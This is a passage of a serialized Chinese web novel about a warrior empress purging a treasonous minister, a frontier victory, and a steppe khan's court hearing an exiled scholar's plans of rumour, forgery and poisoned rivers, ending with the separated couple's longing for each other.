“臣不敢妄议朝政。然,前朝老臣,致仕在家的吏部左侍郎张柬之,素有清名,且为江南人士,在当地士绅中威望甚高。若能请动张老大人出山,挂一‘江南宣慰使’之衔,前往统筹此事,或可事半功倍。” 殿内又是一阵低低的议论声。 第1081章 亏你还是前朝遗老 张柬之此人,是前朝遗老,以风骨著称,门生众多,确实是极有分量的人物。由他出面,似乎最为合适。 慕容嫣看着下方一脸“为国举贤”的崔明远,心中杀意渐起。 张柬之? 此人风骨是有,但也是最讲究“法统”与“礼教”的腐儒。 孔家被灭门后,他虽未公开发声,但据“夜枭”密报,他曾在私下与友人聚会时,长吁短叹,称“国朝刑罚过酷,有伤天和”。 此人与崔家更是几代人的交情。让张柬之去江南,等于就是让崔家的人去。 这只老狐狸,算盘打得真是精! 慕容嫣没有立刻回答,她缓缓地从凤椅上站起身来。 就在她起身的瞬间——动作带着一种被臣子“将军”后、即将展现雷霆之威的凛然与决断! 那迤逦在丹陛之上、铺散凌乱长达五丈的墨金色苏锦拖尾,被她这骤然起身的动作猛地带动! 华贵的锦缎拂过光滑冰冷、雕刻着凤纹的金砖地面,发出“唰——”的一声清晰而锐利的鸣响,在整个寂静的大殿中显得格外刺耳! 随着拖尾的轰然飘起——赫然露出了里面那金线密织、在殿内无数巨烛映照下、闪烁着如同深渊之下被搅动的熔岩般炽热而充满警告意味的辉煌金芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种洞悉一切阴谋诡计、不容丝毫挑战的、绝对的帝王威严! 那光芒充满了对臣子不忠的冷冽、对潜在背叛的蔑视,以及一种即将掀开伪善面具、予以迎头痛击的强大压迫感! 尊贵、辉煌,且在此刻化为一道无声的、却足以让所有心怀鬼胎者胆寒的审判之光! 裙摆落下,将那片凛然的金光与无声的警告掩盖。 慕容嫣立于高阶之上,居高临下地俯视着崔明远,脸上带着一丝极淡的、冰冷的笑容。 “崔爱卿,”她的声音不高,却如同寒冬的冰凌,一字一句地敲在崔明远的心上,“你倒是为朕,为这大乾,想得周到啊。” 崔明远心中猛地一突,一股寒意从脚底直冲天灵盖! 他从女帝那看似平静的语气中,听出了一丝不同寻常的意味。他不知道自己哪里露出了破绽,但那种被彻底看穿的感觉,让他浑身汗毛倒竖。 “为……为陛下分忧,乃是臣之本分。”他强自镇定,躬身答道。 “好一个本分!”慕容嫣突然冷笑一声,声音陡然拔高,如同凤鸣九天,响彻大殿, “朕且问你!北疆将士浴血奋战,长安百姓节衣缩食,为的是什么?为的是保家卫国!你倒好,国战当头,不想着如何安抚后方,齐心协力,反而想着去鱼米之乡的江南征粮?江南距北疆何止千里?征来的粮食,如何运送?沿途耗费几何?你算过这笔账吗?” “你口口声声说为国分忧,实则是想借征粮之名,搅动江南,乱我后方!你举荐张柬之,一个对朝廷处置孔家逆党心怀不满的前朝腐儒,是何居心?是想让他借机联络江南士绅,非议朝政,动摇国本吗?!” 慕容嫣的每一句话,都如同烧红的烙铁,狠狠地烙在崔明远身上! 大殿内,死一般的寂静。所有官员都惊呆了,他们从未见过女帝如此疾言厉色、毫不留情地当朝斥责一位二品大员! 崔明远更是面如死灰,双腿一软,噗通一声跪倒在地,浑身抖如筛糠: “陛下……陛下息怒!臣……臣冤枉啊!臣绝无此心!臣对朝廷忠心耿耿,日月可鉴啊!” “冤枉?”慕容嫣凤眸微眯,眼中杀机毕露,“来人!” 两名金甲卫士立刻从殿外大步跨入,手按刀柄,声若洪钟:“在!” “将礼部侍郎崔明远,拖下去!着锦衣卫,即刻查抄崔府!给朕一寸一寸地查!朕倒要看看,他这百年世家,究竟藏了多少忠心耿耿,又藏了多少祸心叵测!” 慕容嫣的命令,如同九天之上落下的雷霆,瞬间炸响在死寂的太极殿中! “陛下饶命!陛下饶命啊!”崔明远彻底慌了,他怎么也想不到,自己那个自以为天衣无缝、进可攻退可守的计策,竟然会换来如此雷霆万钧的打击! 他甚至来不及为自己辩解,就被两名高大的金甲卫士像拖死狗一样,一边一个架起胳膊,直接拖出了太极殿。 他那身整洁的二品官服在光洁的金砖地面上拖出狼狈的痕迹,口中绝望的呼喊声越来越远,直至消失。 大殿内,百官噤若寒蝉,一个个跪伏在地,头埋得低低的,连大气都不敢喘一口。 他们都被女帝这突如其来的、狠辣决绝的手段给彻底镇住了。 谁都没想到,平日里虽然威严、但尚算温和的女帝,一旦动怒,竟是如此的。 尤其是那些平日里与崔家走得近,或是同样对孔家之事心存微词的官员,此刻更是吓得魂飞魄散,只觉得脖颈后凉飕飕的,生怕下一刻,那冰冷的声音就会点到自己的名字。 慕容嫣立于高阶之上,冷冷地俯视着下方跪倒一片的臣工,那身墨金色的神凤降世裙,在烛火下流淌着冰冷而威严的光泽。她没有立刻说话,而是任由这种令人窒息的沉默与恐惧,在大殿中蔓延、发酵。 她要的就是这个效果。 杀鸡儆猴! 北疆战事已开,她绝不容许后方有任何不稳定的因素存在。崔明远今日跳出来,正好给了她一个敲山震虎的绝佳机会。 她就是要用崔家的血,来警告所有心怀异志的人:国战当头,任何敢于掣肘、敢于挑战皇权的行为,都将被无情地碾碎! 过了许久,久到跪在地上的官员们都觉得膝盖发麻、冷汗浸透了朝服时,慕容嫣才缓缓开口,声音恢复了平静,却依旧带着不容置疑的威严: “众卿都起来吧。” “谢……谢陛下。”百官们颤颤巍巍地站起身,却依旧不敢抬头。 “今日之事,朕希望众卿引以为戒。”慕容嫣目光缓缓扫过全场,“国难当头,朕需要的是能与朕同心同德、共赴国难的忠臣,而不是口蜜腹剑、心怀鬼胎的国贼!谁忠谁奸,朕心里,都有一本账。” 她顿了顿,语气放缓了些,带上了一丝安抚的意味: “当然,朕也知道,在座诸位,绝大多数都是我大乾的股肱之臣。只要你们一心为公,恪尽职守,朕,绝不会亏待任何一个有功之臣。北疆战事,还需仰仗诸位在后方鼎力支持。都各司其职,退朝吧。” “臣等……遵旨!恭送陛下!” 百官们如蒙大赦,再次跪拜,声音都带着劫后余生的颤抖。 慕容嫣不再看他们一眼,转身,在那片凌乱而磅礴的墨金色拖尾簇拥下,走下了御阶,径直离开了太极殿。 直到她的身影彻底消失在殿门之后,大殿内的官员们才敢缓缓直起身,彼此交换着惊惧未定的眼神。整个太极殿,仿佛经历了一场无声的风暴。 回到栖凤阁,慕容嫣挥手屏退了所有宫人。一踏入这只属于自己的私密空间,她紧绷的身体才微微一松,脸上露出一丝极度的疲惫。 第1082章 好一个百年世家 方才在朝堂之上,她看似决绝果断,实则每一步都走在刀尖之上。 对崔家动手,是一步险棋。若是处置不当,极易激起士林反弹,造成朝局动荡。 但她赌的就是,在绝对的皇权和北疆战事的双重压力下,那些世家大族,不敢公然与朝廷决裂。 她缓缓走到凤椅前坐下,指尖无意识地在那冰冷的墨玉扳指上摩挲。 “陛下,锦衣卫指挥使求见。”门外,传来内侍谨慎的通报。 “宣。” 很快,一名身穿飞鱼服、腰佩绣春刀、神情冷峻的中年男子快步走进殿内,单膝跪地:“臣,锦衣卫指挥使赵无忌,叩见陛下!” “起来吧。崔府那边,情况如何?”慕容嫣直接问道。 “回陛下,”赵无忌起身,声音干练,“臣已亲率缇骑,封锁并查抄了崔府。崔明远及其主要族人,已尽数下入诏狱。初步查抄发现,崔府之中,私藏有大量兵器、甲胄,其数量远超朝廷规制!更重要的是……” 他从怀中取出一只用蜡丸密封的竹筒,双手呈上:“臣在崔明远书房的密室之中,发现了这个。里面,是崔明远与……与漠北右贤王呼衍卓的往来密信!” 慕容嫣凤眸猛地一缩! 她接过蜡丸,捏碎封蜡,从中抽出一卷薄如蝉翼的绢帛。 展开一看,上面用一种极小的字体,写满了蝇头小楷。 信的内容,触目惊心! 崔明远在信中,不仅详细告知了呼衍卓关于大乾朝廷内部的兵力部署、粮草调度情况,甚至还提出了“待王师南下,里应外合,共取天下”的谋逆之言! 而落款的时间,就在林臻亲赴北疆之后不久! “好!好一个崔明远!好一个百年世家!”慕容嫣气得浑身发抖,她猛地将那卷绢帛拍在案上,眼中杀机毕露,“通敌卖国!罪证确凿!朕倒是小看了他!” 她原以为崔家只是心怀不满,想在朝堂上攫取更多权力,却没想到,他们竟敢暗中勾结外敌,行此弥天大叛之事! 就在这时,殿外又传来一阵急促的脚步声,一名小太监连滚带爬地跑了进来,脸上满是狂喜之色,声音尖利地喊道:“大喜!陛下!大喜啊!北疆八百里加急!鹰嘴崖大捷!” “什么?!”慕容嫣瞬间从暴怒中回过神来,霍然起身,快步走到那名小太监面前,“快说!战况如何?!” “回……回陛下!”小太监喘着粗气,激动地语无伦次,“亲王殿下……亲王殿下与郑大元帅,在鹰嘴崖设伏,以三千辎重兵为诱饵,大破漠北右贤王呼衍卓所率一万精骑!斩敌七千余,俘虏两千!右贤王呼衍卓……重伤遁逃!我军大获全胜!” “好!”慕容嫣听完,只觉得一股巨大的喜悦瞬间冲散了方才的怒火与阴霾!她忍不住仰天大笑,笑声清越,充满了畅快与自豪,“好!不愧是朕的夫君!不愧是我大乾的儿郎!” 鹰嘴崖大捷! 这不仅仅是一场军事上的胜利,更是一剂强心针! 它向天下所有人证明了,大乾的军队,有能力、有决心,更有实力,击败任何来犯之敌! 这胜利,来得太及时了! 它将彻底粉碎朝中那些主和派、投降派的最后一丝幻想,也将极大地巩固她和林臻的威望,为她接下来彻底清洗朝堂、铲除内患,提供了最坚实的基础! 慕容嫣立刻下令: “传朕旨意!将此捷报,立刻传遍京城!昭告天下!凡鹰嘴崖一战有功将士,官升三级,赏银百两!阵亡将士,加倍抚恤!追封英烈!朕要让天下人都知道,为国尽忠者,朝廷绝不吝赏!” “是!”小太监领命,连滚带爬地跑了出去。 “赵无忌。”慕容嫣转头,目光重新落到锦衣卫指挥使身上,那目光,已经冷得如同万年玄冰。 “臣在!” “将崔明远通敌卖国的密信,即刻誊抄百份,张贴于长安城各处!再将崔明远,押赴午门!朕要……亲自审问!” 她说到最后几个字,一字一顿,充满了凛冽的杀机。 她要用崔明远的人头,来为北疆的胜利,献上第一份祭品! 就在她转身,准备起驾前往午门的瞬间——动作带着大胜之后的狂喜与即将清算内患的凛冽杀机! 那迤逦于地、铺散凌乱长达五丈的墨金色苏锦拖尾,被她这迅猛的转身动作骤然带动! 华贵的锦缎拂过地面,发出“唰啦”一声锐响,仿佛是利刃出鞘! 随着拖尾的轰然飘起——赫然露出了里面那金线密织、在殿内明亮烛光下、闪烁着如同复仇烈焰般炽热而辉煌光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种夹杂着胜利喜悦与冷酷杀伐的、无比强大而耀眼的金芒! 那光芒充满了对爱人功绩的骄傲、对叛国者的极度憎恨,以及一种手握绝对力量、即将展开一场血腥清洗的帝王决心! 尊贵、辉煌,且在此刻化作了一道无可阻挡的、审判的洪流! 裙摆落下,将那片灼热而充满杀机的金光掩盖。 慕容嫣大步向殿外走去,她的身后,一个属于崔氏的时代,即将落幕。 而一个属于她的、更加铁血与威严的时代,正伴随着北疆的捷报,冉冉升起。 ...... 漠北,龙城。 曾经象征着漠北权力中心的王庭大殿,此刻却笼罩在一片死寂的、令人窒息的阴云之下。 殿外,天空阴沉,铅灰色的云层低低地压着,仿佛随时都会塌陷下来。 狂风卷着沙尘,呼啸着掠过荒原,发出如同鬼魅般的呜咽。 大殿之内,气氛比殿外的天气更加压抑。 巨大的牛油蜡烛依旧在燃烧,但跳动的火焰,却似乎也带上了一丝不安的颤抖,将殿内众人的脸色映照得阴晴不定。 漠北大汗乌维,如同一头受伤的雄狮,坐在他那张铺着完整白虎皮的王座上。 他身上依旧穿着那件厚重的狼皮袍子,但往日里那股睥睨天下的枭雄气概,此刻却被一种暴戾与阴沉所取代。 他的一只手紧紧地攥着座椅的扶手,指节因为用力而发白,另一只手则按在腰间的刀柄上,手背上青筋毕露。 他的目光,如同两把淬了毒的刀子,死死地盯着跪在大殿中央的那个浑身浴血、狼狈不堪的身影。 那是右贤王呼衍卓。 这位曾经以智谋和狡诈著称的漠北第二号人物,此刻却像一条被打断了脊梁的丧家之犬。 他身上的铠甲破碎不堪,左肩上缠着厚厚的、已经被鲜血浸透的绷带,脸色苍白如纸,嘴唇干裂,眼神中充满了恐惧、羞愧和绝望。 他身后,稀稀拉拉地跪着百十名同样狼狈的残兵败将,他们就是从鹰嘴崖那个人间地狱里,侥幸逃出来的一万铁骑中最后的幸存者。 “……末将无能,中了南人的奸计,致使……致使我八千勇士,折损于鹰嘴崖下……末将……罪该万死!请大汗……降罪!” 呼衍卓的声音沙哑而颤抖,他每说一个字,都仿佛用尽了全身的力气,说完,便将额头重重地磕在冰冷的石板地上,发出沉闷的响声。 大殿内,一片死寂。 左谷蠡王阿提拉、浑邪王、休屠王等一众漠北部落的首领和重臣,分列两旁,一个个低着头,连呼吸都刻意放轻了。 他们能清晰地感受到,从王座之上传来的、那如同火山爆发前一般的、恐怖的压力。 八千精锐! 那不是八千头牛羊,而是八千名从小在马背上长大、能征善战的漠北勇士! 就这样,在一夜之间,几乎全军覆没! 这对本就人口不丰的漠北而言,是一个足以动摇国本的沉重打击! 第1083章 阿史那德 “奸计?” 许久,乌维终于开口了。 他的声音很低,很慢,却像是一块块烧红的烙铁,狠狠地烙在呼衍卓的背上。 “你说,你中计了?”乌维缓缓地从王座上站起身,一步一步地走下台阶,来到呼衍卓面前。 他那双鹰隼般的眼睛,居高临下地俯视着跪在地上的呼卓。 “你带领着一万名我漠北最精锐的铁骑,去攻击一支由杂兵和民夫组成的运粮队,你告诉本汗,你中计了?!” 他的声音陡然拔高,如同雷霆般在殿内炸响, “是我漠北的勇士不够勇猛?还是南人的城墙,长了腿跑到了鹰嘴崖?!” “大汗息怒!大汗息怒!”呼衍卓吓得魂飞魄散,连连叩首,额头已经磕出了鲜血,“是……是南人太过狡猾!他们用辎重兵伪装成主力,又在谷中埋设了威力巨大的‘霹雳弹’……末将……末将一时不察……” “一时不察?!”乌维猛地抬起脚,狠狠地踹在呼衍卓的胸口! 呼衍卓惨叫一声,整个人如同滚地葫芦般翻滚出去,重重地撞在殿内的石柱上,张口便喷出一口鲜血。 “废物!你这个成事不足败事有余的废物!”乌维怒不可遏,他冲上前,一把揪住呼衍卓的衣领,将他从地上提了起来,布满血丝的眼睛死死地瞪着他, “本汗将一万精锐交给你,是让你去建功立业的!不是让你去给林臻那小子送人头、送战功的!你知不知道,因为你的愚蠢,我们损失了什么?!” 他将呼衍卓狠狠地摔在地上,如同扔掉一件垃圾,然后转身,指着殿内众将,声音嘶哑地咆哮道: “八千勇士!我们整个王庭直属的精锐,也不过三万!你一夜之间,就给本汗败掉了近三分之一!你让本汗拿什么去跟南人打?拿什么去入主中原?!” 乌维如同困兽般在殿内来回踱步,胸膛剧烈地起伏着,眼中的怒火几乎要将整个大殿都点燃。 就在这时,一直沉默不语的谋士阿史那德,从角落里走了出来,躬身道: “大汗息怒。胜败乃兵家常事。右贤王虽有大过,但当务之急,并非是追究责任,而是要尽快稳住军心,并想出应对之策。林臻此计虽毒,但也暴露了他急于求胜的心理。我军主力尚存,未必没有一战之力。” 阿史那德的话,让暴怒中的乌维稍稍冷静了一些。他喘着粗气,停下脚步,目光转向阿史那德。 “应对之策?你有什么应对之策?” 阿史那德走上前,低声道: “大汗,臣前番潜入长安,面见林臻之事,结果……并不理想。” 他将自己在摄政王府密室中与林臻的对话,一五一十地详细叙述了一遍,包括林臻对慕容嫣毫不动摇的维护,以及对漠北提议的断然拒绝和羞辱。 “……林臻与那女帝,情比金坚,我们想从内部分化他们,已无可能。而且,林臻此人,心志之坚定,手段之狠辣,远超我们的预料。他绝不会因为一时的战事不利,就与我们妥协。” 阿史那德最后总结道。 听完阿史那德的叙述,乌维的脸色愈发阴沉。 他原本还抱着一丝幻想,希望能够通过离间计,不费吹灰之力地拿下大乾。 现在看来,这条路,已经彻底被堵死了。 林臻和慕容嫣,这对夫妻,比他想象中要难对付得多。 “也就是说,我们现在,只剩下硬碰硬一条路了?”乌维的声音冷得像冰。 “是。”阿史那德点头,“而且,鹰嘴崖一战,我军新败,士气受挫;而大乾军则士气大振。此消彼长,于我军极为不利。若此时再与林臻的主力决战,胜算恐怕……不大。” “那你的意思是,我们要撤兵?”左谷蠡王阿提拉忍不住插话道,语气中满是不甘。 “不,不是撤兵。”阿史那德摇了摇头,眼中闪过一丝阴狠的光芒,“是换一种打法。” 他转向乌维,躬身道:“大汗,既然正面对决占不到便宜,我们何不另辟蹊径?南人重礼法规矩,讲究堂堂正正之师。而我们草原上的狼,捕猎时,何曾讲究过什么规矩?我们讲究的,是耐心,是狡猾,是找到猎物最脆弱的脖子,一击致命!” 乌维的眼睛亮了一下:“说下去。” “林臻是厉害,郑蛟是老将,但他们终究是人,不是神。他们的大军,需要粮草,需要水源,他们的士兵,会生病,会疲惫。” 阿史那德的声音压得更低,“我们或许可以……” 就在这时,殿外传来侍卫的通报:“大汗,圣裔驸马孔志谦求见。” 乌维的眉头皱了一下,眼中闪过一丝不耐烦。在这个节骨眼上,那个只会满腹仇恨、却毫无用处的南人小子来做什么? 但他转念一想,或许…… “让他进来。”乌维挥了挥手。 孔志谦很快便被带了进来。 他依旧穿着那身厚重的皮袍,脸色在殿内烛光的映照下,显得愈发苍白。 他一进殿,便感受到了那股压抑到极致的、充满血腥味和失败气息的氛围。 他看到了跪在地上、生死不知的呼衍卓,看到了那些垂头丧气的残兵,心中瞬间明白了什么。 鹰嘴崖……败了? 一股莫名的、扭曲的快意,夹杂着更深的绝望,瞬间涌上他的心头。 快意的是,这些他所憎恨的漠北人,也尝到了失败的滋味;绝望的是,连一万漠北精骑都败了,他报仇的希望,岂不是更加渺茫? 他强压下心中的波澜,走到大殿中央,对着王座上的乌维,学着漠北人的礼节,单膝跪地,右手抚胸: “孔志谦,拜见大汗。” 乌维看着他,脸上那暴戾的怒火渐渐收敛,取而代代之的,是一种复杂的、审视的目光。 他没有立刻让孔志谦起来,而是沉默了片刻,才缓缓开口,声音沙哑地问道:“孔公子,鹰嘴崖之败,你听说了?” “是。”孔志谦低着头,声音平静。 “你有什么看法?”乌维问道。 孔志谦沉默了。他知道,这是一个陷阱。 说得好,可能会得到重视;说得不好,或许会和呼衍卓一样,成为大汗泄愤的工具。 他抬起头,迎上乌维那鹰隼般的目光,一字一句地说道:“兵法有云,‘兵者,诡道也’。战场之上,胜败无常。呼衍卓王爷之败,非战之罪,实乃……不知己,亦不知彼。” “哦?”乌维的眼中闪过一丝兴趣,“你倒是说说看,如何‘不知己,不知彼’?” “不知己,是高估了我军的突袭之能,而低估了长途奔袭、后援断绝的风险。” 孔志谦的声音不大,但字字清晰, “不知彼,则是完全低估了林臻。我自幼在曲阜长大,对这位摄政王的事迹,略有耳闻。此人……绝非寻常武夫。他用兵,看似天马行空,实则步步为营,算无遗策。以寻常兵法度之,必败无疑。” 他的话,让在场所有漠北将领都为之侧目。 他们没想到,这个平日里沉默寡言的南人小子,竟然能说出这样一番话来。 乌维更是眼中精光一闪。 他站起身,走到孔志谦面前,亲自将他扶起,脸上甚至挤出了一丝难得的、可以称之为“和蔼”的笑容。 “好!说得好!”他拍了拍孔志谦的肩膀, “看来,本汗倒是小看你了。你说的没错,我们都小看了林臻。那么,依你之见,我们接下来,该如何对付他?” 乌维的姿态,放得很低,像是在虚心求教。 孔志谦知道,真正的考验,来了。 第1084章 单纯的军事胜利,是远远不够的 孔志谦的心脏在胸腔里剧烈地跳动着,但他脸上依旧维持着那副与年龄不符的、近乎麻木的平静。他知道,这是他唯一的机会。如果他不能提出一个让乌维信服的、足以扭转战局的计策,那么他这枚“圣裔驸马”的棋子,很快就会被毫不留情地抛弃,甚至会成为鹰嘴崖惨败的替罪羊。 他深吸了一口气,努力让自己的声音听起来沉稳而有力。 “大汗,”他没有直接回答乌维的问题,而是反问道,“您想赢得这场战争,最终的目的是什么?是像历代先祖一样,抢掠一番就退回草原,还是……真正地入主中原,取而代之?” 乌维的眼睛猛地一眯,锐利的光芒从眼缝中射出,死死地盯着孔志谦。这个问题,太过直接,也太过大胆。大殿内的其他部落首领,也都屏住了呼吸,紧张地看着这个不知天高地厚的南人小子。 孔志谦没有回避乌维的目光,他迎着那如同实质般的压力,继续说道:“如果只是想抢掠,那么鹰嘴崖之败,并不要紧。我军主力尚在,只需避开林臻的锋芒,转而攻击其他防守薄弱的州县,依旧可以满载而归。” “但如果……”他的声音陡然压低,带着一种蛊惑人心的魔力,“如果大汗的目标是整个天下,那么,我们就不能再用草原上的方式来打这场仗了。” “你想说什么?”乌维的声音沙哑,显然被孔志谦的话勾起了兴趣。 “我想说的是,对付大乾,对付林臻和那个女皇帝,单纯的军事胜利,是远远不够的。”孔志谦的眼中,闪烁着一种病态的、狂热的光芒,“大乾最强大的,不是他们高大的城墙,也不是他们精良的弩箭,而是他们那套根深蒂固的……规矩和人心。” 他伸出手指,在空中虚划着:“君臣、父子、纲常、伦理……这些东西,就像一张无形的网,将数万万的南人牢牢地捆绑在一起。只要这张网不破,就算我们攻下再多的城池,杀了再多的人,他们也会源源不断地抵抗。而林臻和慕容嫣,就是这张网的守护者。所以,我们要赢,就必须先毁了这张网!” “如何毁掉?”左谷蠡王阿提拉忍不住粗声粗气地问道。 孔志谦转向他,嘴角勾起一抹冰冷的、带着浓浓嘲讽的笑意:“用南人自己的方式,来对付南人。” 他重新转向乌维,一字一句地说道:“正面战场,我们暂时避其锋芒,继续用游骑袭扰他们的粮道,让他们疲于奔命。但真正的杀招,要用在他们看不见的地方。” “第一,是民心。”孔志谦的声音变得阴冷,“南人最重‘天命’。我们可以派人,潜入大乾境内,尤其是在那些刚刚经历过天灾、或是税负沉重的地区,散布谣言。就说女帝慕容嫣,牝鸡司晨,德不配位,以至天降灾祸,北疆燃起刀兵。再编造一些她残害忠良、生活奢靡的‘秘闻’。这些东西,真假不重要,重要的是,要让那些本就心怀不满的愚民们相信,他们的苦难,都是因为有了一个坏皇帝。” “同时,”他眼中闪过一丝狠厉,“我们可以在他们一些重要的水源地,比如黄河、淮河的上游,投入……病死的牛羊。不需要多,只要能引起一场小规模的瘟疫,恐慌就会像野火一样蔓延开来。届时,天灾人祸齐至,民心必乱!一个连内部都焦头烂额的朝廷,还拿什么来跟我们打?” 这个计策一出,连最嗜血的阿提拉都忍不住打了个寒颤。这种阴毒的手段,他们这些习惯了在战场上真刀真枪拼杀的草原汉子,简直闻所未闻。 阿史那德的眼中,更是闪过了惊骇与欣赏交织的复杂光芒。他发现,这个南人小子的狠毒,远在他之上。 乌维没有说话,只是静静地听着,脸上的表情高深莫测。 孔志谦没有停下,他继续抛出自己的第二个毒计。 “第二,是军心。”他说道,“林臻之所以能让北疆将士用命,一是因为他本人确实有能力,二是因为朝廷的粮饷供应充足。我们可以从这两点下手。袭扰粮道要继续,但要更聪明。我们不要去硬拼那些有重兵护卫的大型粮队,而是要专门打击那些小股的、从地方州县征集来的补给。积少成多,同样能让前线感到压力。” “更重要的是,”他的声音压得更低,如同毒蛇吐信,“我们可以伪造书信!我熟悉大乾各位将领的笔迹和行文风格。我们可以伪造一封郑蛟写给心腹的‘密信’,信中抱怨林臻亲王年轻气盛,独断专行,不纳忠言,甚至克扣军功。再将这封信,‘无意’中落到林臻安插在郑蛟身边的眼线手中。林臻就算再信任郑蛟,心中也难免会种下一根刺。君臣猜忌,乃是兵家大忌!只要他们内部生了嫌隙,我军便有了可乘之机!” “还可以伪造林臻写给京城的情报,夸大战果,隐瞒损失,再通过我们安插在京城的……人,‘不经意’地透露给那些本就对林臻大权在握心怀不满的言官御史。届时,朝堂之上,弹劾他的奏章必定如雪片一般。一个在前线腹背受敌、在后方又被攻讦的主帅,他还能有多少心思来跟我们打仗?” 这一连串的毒计,环环相扣,阴狠至极,听得大殿内所有人都毛骨悚然。他们看着眼前这个侃侃而谈的白面书生,仿佛看到的不是一个人,而是一个从地狱里爬出来的恶鬼。 孔志谦仿佛没有看到众人惊惧的眼神,他完全沉浸在自己构想的复仇蓝图中,脸颊因为兴奋而泛起病态的潮红。 “第三,也是最关键的一点,”他抬起头,目光灼灼地看着乌维,“就是利用好我的身份。大汗,您之前只是将我当成一面旗帜,这是远远不够的。您要让我,真正地成为南人心中的另一个‘选择’。” “我要亲自写一篇檄文,以孔氏圣裔之名,泣血告天下!历数女帝慕容嫣十大罪状:弑君篡位、残害忠良、牝鸡司晨、穷兵黩武……我要告诉天下所有的读书人,她,才是真正的国贼!而我,孔志谦,虽身在漠北,心向华夏,今日之举,非为助纣为虐,实乃借草原之兵,行清君侧、靖国难之义举!待功成之日,必将重塑礼乐,再造乾坤!” “这篇檄文,要通过各种渠道,传遍大乾的每一座书院,每一个州县。它或许不能立刻让那些士人起兵响应,但它会在他们心中,埋下一颗怀疑和动摇的种子。当朝廷的苛政、战场的失利与这颗种子结合在一起时,它就会生根发芽,长成参天大树,从内部,将慕容嫣的统治,彻底撕裂!” 第1085章 嫣儿……等我 说完这番话,孔志谦长长地舒了一口气,整个人仿佛虚脱了一般,但他的眼睛,却亮得吓人。 大殿内,死一般的寂静。 乌维定定地看着孔志谦,看了很久很久。他那双鹰隼般的眼睛里,第一次,对这个南人小子,产生了一丝真正的“忌惮”。 他原以为,自己只是捡回了一只有点用处的棋子。现在看来,他捡回来的,是一条最毒的毒蛇。这条蛇,虽然弱小,但它的毒液,却足以杀死一头雄狮。 “好……好……好!”许久,乌维连说了三个“好”字。他走上前,用力地拍着孔志Gua谦的肩膀,放声大笑起来,笑声中充满了压抑许久后的畅快与残忍。 “孔公子!你,真是本汗的子房!本汗的卧龙啊!”他大笑道,“就照你说的办!从今天起,本汗给你一支三千人的‘复仇军’,由你亲自统领!阿史那德,你从旁协助他!他需要什么,人手、金钱、情报,王庭上下,全力支持!本汗倒要看看,当林臻和那个女皇帝,被这些来自背后的刀子,捅得千疮百孔的时候,他们还拿什么来跟本汗斗!” “谢大汗!”孔志谦跪倒在地,重重叩首。他知道,从这一刻起,他不再是一枚无足轻重的棋子了。他成了这场棋局中,一个可以亲自下子的棋手。 他那颗被仇恨填满的心,终于找到了宣泄的出口。他仿佛已经看到了,长安城在战火和瘟疫中哀嚎,慕容嫣和林臻众叛亲离、绝望哭喊的场景。 一股无比扭曲的、复仇的快感,瞬间席卷了他的全身,让他忍不住因为兴奋而微微颤抖起来。 而跪在一旁,早已被乌维遗忘的呼衍卓,看着这一幕,眼中充满了无尽的恐惧。 他知道,草原的天,要变了。 这场战争,将因为这个南人小子的加入,变得比以往任何时候,都更加阴毒,更加血腥,更加……没有底线。 ...... 夜,深了。 漠北的夜,总是格外的冷,格外的漫长。即使是盛夏,当太阳落山后,寒意也会如同潮水般从地底涌出,侵入骨髓。 大乾北征军的中军帅帐内,牛油灯的火苗在穿堂而过的风中不安地跳动着,将林臻孤单的身影投在背后的军事舆图上,拉得忽长忽短。 他已经连续三天三夜没有合眼了。 鹰嘴崖大捷的喜悦,很快便被战局的胶着所冲淡。乌维比他想象的还要能忍。在损失了近万精锐之后,这位漠北枭雄非但没有暴怒反扑,反而像一头受伤后更加狡猾的孤狼,将主力部队彻底收缩隐藏起来,只用无数小股的精锐游骑,如同恼人的苍蝇一般,不分昼夜地袭扰着大乾军漫长的补给线。 这些游骑来去如风,熟悉地形,打得赢就抢,打不赢就跑,绝不恋战。虽然每次造成的损失不大,但积少成多,极大地牵扯了林臻的兵力,也让前线的粮草和军械补充,变得险象环生。 林臻揉了揉酸胀的眉心,英俊的脸庞上写满了疲惫。他端起案几上早已冰凉的茶水,一饮而尽。苦涩的茶水滑过喉咙,让他混沌的头脑稍稍清醒了一些。 他的目光,落在案几一角,那里静静地放着一个已经有些磨损的、绣着鸳鸯图案的香囊。 这是临行前,慕容嫣亲手为他系的。 他拿起香囊,放在鼻尖轻轻嗅了嗅。那熟悉的、属于她的、混合着淡淡兰花与体温的香气,瞬间穿透了这帅帐中浓重的皮革与尘土味,如同最温柔的丝线,将他拉回了数千里之外的长安,拉回了那温暖的栖凤阁。 他仿佛又看到了她。 她穿着那身墨金色的神凤降世裙,长长的、凌乱的拖尾铺满了整个寝殿。她会赖在他怀里,一边抱怨奏章太多,一边又忍不住与他讨论国事,凤眸中闪烁着比星辰更亮的光芒。她会为他整理衣领,会笨拙地学着为他束发,也会在深夜他处理完公务归来时,端上一碗她亲手炖的热汤。 她是一国之君,是万民之主,但在他面前,她只是他的嫣儿。一个会撒娇,会依赖,会因为他的疲惫而心疼的普通妻子。 一股深沉的、几乎要将他淹没的思念,猛地涌上心头。 他已经离开长安三个月了。这三个月里,他无时无刻不在想她。他担心她在朝堂之上,是否能应付那些老奸巨猾的臣子;担心她是否会因为思虑过重而又清减了;担心她一个人在空旷的宫殿里,夜里是否会感到孤单…… 他从怀中,小心翼翼地取出一封已经看了无数遍的信。信纸的边缘已经起了毛,上面是她熟悉的、娟秀中带着一丝帝王风骨的字迹。 信里,她没有多谈朝政,只是絮絮叨叨地告诉他,御花园里的海棠花开了,比去年更盛;她新得了一只波斯猫,很是顽皮,总喜欢去抓她那身神凤降世裙的拖尾;她还说,她一切都好,让他不必挂心,务必在前方保重自己,千万不要逞强…… 每一个字,都透着浓浓的关切与爱意。 林臻将信纸贴在胸口,仿佛能感受到她写信时指尖的温度。他闭上眼,在心中一遍又一遍地描绘着她的容颜。 嫣儿…… 等我。 等我荡平这漠北,斩下乌维的人头,我便立刻回去。到时候,我再也不离开你了。 …… 与此同时,长安,紫宸宫,栖凤阁。 夜色如水,月华透过雕花的窗棂,静静地洒在光洁的金砖地面上。 慕容嫣同样没有睡。 她独自一人,坐在那张宽大的凤榻之上。她身上只穿着那身贴身的神凤降世裙,墨黑的苏锦底料在朦胧的月色下,显得愈发深邃神秘,织入的金色棉绒与金线绣成的凤凰暗纹,则如同沉睡的星河,静静地流淌着内敛的光辉。 